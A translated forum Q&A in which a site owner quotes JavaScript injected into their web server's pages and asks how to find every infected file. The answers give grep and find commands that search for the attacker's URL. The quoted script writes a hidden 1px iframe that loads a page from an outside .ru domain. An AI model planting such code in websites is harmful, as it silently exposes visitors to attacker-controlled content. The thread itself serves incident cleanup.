递归地在目录的每个文件上查找“表达式”

递归地在目录的每个文件上查找“表达式”

我的网络服务器上的一个网站遭受了攻击:代码注入。

这是恶意代码:

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');
        document.getElementById('t').appendChild(t);    
    }
 })
();</script>

我想知道我的服务器上的所有文件的名称(和路径)以阻止传染。这是我想要匹配的表达式:'http://ahtiagge.ru/count27.php'

我想要这样的结果:

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

如何使用 shell 脚本解决这个问题?是否可以 ?

答案1

您可以简单地使用grep相同的

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

或者仅在以下命令的帮助下签入 *.php 文件find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"

答案2

我喜欢这个命令:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

干杯。

相关内容